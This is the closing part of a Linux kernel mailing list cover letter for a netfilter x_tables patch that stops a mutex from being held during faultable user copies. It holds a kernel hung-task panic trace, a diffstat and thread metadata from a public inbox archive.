[  196.098083] RAX: ffffffffffffffda RBX: 00007fbc11bd3fd8 RCX: 000000000041d77e
[  196.098085] RDX: 0000000000000061 RSI: 0000000000000000 RDI: 0000000000000003
[  196.098085] RBP: 0000000000000003 R08: 00007ffe1cc5b45c R09: 0000000000000000
[  196.098086] R10: 00007fbc11bd3fd8 R11: 0000000000000246 R12: 0000000000000003
[  196.098086] R13: 00000000000003e0 R14: 00007ffe1cc5b45c R15: 0000000000000000
[  196.098087]  </TASK>
[  196.098090] Kernel panic - not syncing: hung_task: blocked tasks
[  197.306322] CPU: 0 UID: 0 PID: 31 Comm: khungtaskd Not tainted 7.2.0-15794-g1b78070aaef6 #4 PREEMPT(lazy) 
[  197.321556] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  197.341939] Call Trace:
[  197.344889]  <TASK>
[  197.347795]  vpanic (kernel/panic.c:651)
[  197.353763]  panic (kernel/panic.c:788)
[  197.358016]  watchdog (kernel/hung_task.c:356 kernel/hung_task.c:561)
[  197.362753]  ? __pfx_watchdog (kernel/hung_task.c:426)
[  197.367990]  kthread (kernel/kthread.c:436)
[  197.372480]  ? __pfx_kthread (kernel/kthread.c:948)
[  197.377354]  ret_from_fork (arch/x86/kernel/process.c:158)
[  197.402249]  ? __pfx_kthread (kernel/kthread.c:948)
[  197.415090]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[  197.422623]  </TASK>
[  197.426610] Kernel Offset: 0x6c00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  netfilter: x_tables: avoid holding mutex over faultable user copies

 net/ipv4/netfilter/arp_tables.c | 33 ++++++++++++++++++++++++++++-----
 net/ipv4/netfilter/ip_tables.c  | 33 ++++++++++++++++++++++++++++-----
 net/ipv6/netfilter/ip6_tables.c | 33 ++++++++++++++++++++++++++++-----
 3 files changed, 84 insertions(+), 15 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-09-01 13:48 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-01 13:47 [PATCH nf 0/1] netfilter: x_tables: avoid holding mutex over faultable user copies Zihan Xi
2026-09-01 13:47 ` [PATCH nf 1/1] " Zihan Xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox